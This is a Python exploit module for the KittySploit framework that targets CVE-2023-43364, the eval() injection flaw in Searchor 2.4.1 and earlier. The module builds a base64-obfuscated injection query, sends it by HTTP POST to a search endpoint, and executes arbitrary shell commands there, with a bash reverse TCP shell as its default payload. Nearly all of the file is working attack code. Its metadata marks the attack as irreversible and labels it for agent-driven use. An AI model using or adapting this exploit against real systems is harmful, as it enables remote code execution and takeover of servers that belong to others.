Searchor CVE-2023-43364 eval RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Searchor CVE-2023-43364 eval() injection in search query (HTTP delivery)."""

from __future__ import annotations

import base64
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Searchor CVE-2023-43364 eval RCE",
        "description": (
            "CVE-2023-43364 (Searchor <= 2.4.1): user query is interpolated into "
            "eval() in searchor.main.search; crafted query runs arbitrary Python "
            "when a web app forwards engine/query to the library."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2023-43364"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2023-43364",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["searchor", "eval", "rce", "cve-2023-43364"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "chain": {"suggested_followups": ["scanner/http/searchor_cve_2023_43364_detect"]},
        },
    }

    search_path = OptString("/search", "HTTP path that accepts engine+query POST", required=False)
    engine = OptString("Google", "Search engine name passed to Searchor", required=False)

    def _eval_query(self, cmd: str, reflect: bool = True) -> str:
        b64 = base64.b64encode(str(cmd).encode()).decode()
        if reflect:
            inner = (
                "__import__('subprocess').run(['sh','-c',"
                "__import__('base64').b64decode('%s').decode()],"
                "capture_output=True).stdout.decode()" % b64
            )
        else:
            inner = (
                "__import__('os').system("
                "__import__('base64').b64decode('%s').decode())" % b64
            )
        return "')+ str(%s)#" % inner

    def execute(self, cmd: str) -> str:
        q = self._eval_query(cmd, reflect=True)
        path = str(self.search_path or "/search")
        resp = self.http_request(
            "POST",
            path,
            data={"engine": str(self.engine or "Google"), "query": q},
            headers={"Content-Type": "application/x-www-form-urlencoded"},
        )
        return (resp.text or "").strip() if resp else ""

    def check(self):
        body = self.execute("echo SEARCHOR43364")
        if "SEARCHOR43364" in body and "%27%29%2B" not in body:
            return {"vulnerable": True, "reason": "Eval injection reflected output", "confidence": "high"}
        if body and "searchor" in body.lower():
            return {"vulnerable": False, "reason": "Searchor UI seen but eval sink not confirmed", "confidence": "low"}
        return {"vulnerable": False, "reason": "No vulnerable Searchor HTTP sink", "confidence": "medium"}

    def check_execute(self):
        token = self.random_text(8)
        body = self.execute(f"echo {token}")
        return token in (body or "")

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        if not self.check_execute() and not re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I):
            chk = self.check()
            if not chk.get("vulnerable"):
                print_error(chk.get("reason", "Injection failed"))
                self.not_vulnerable()
                return False

        print_status("CVE-2023-43364 — Searchor eval query")
        if self.check_execute():
            out = self.execute(shell)
            if out:
                print_info(out[:4000])
            if str(self.shell_from_payload() or "").strip():
                return True
            return True

        print_status("Firing non-reflective payload (reverse shell expected)")
        self.execute(shell)
        return True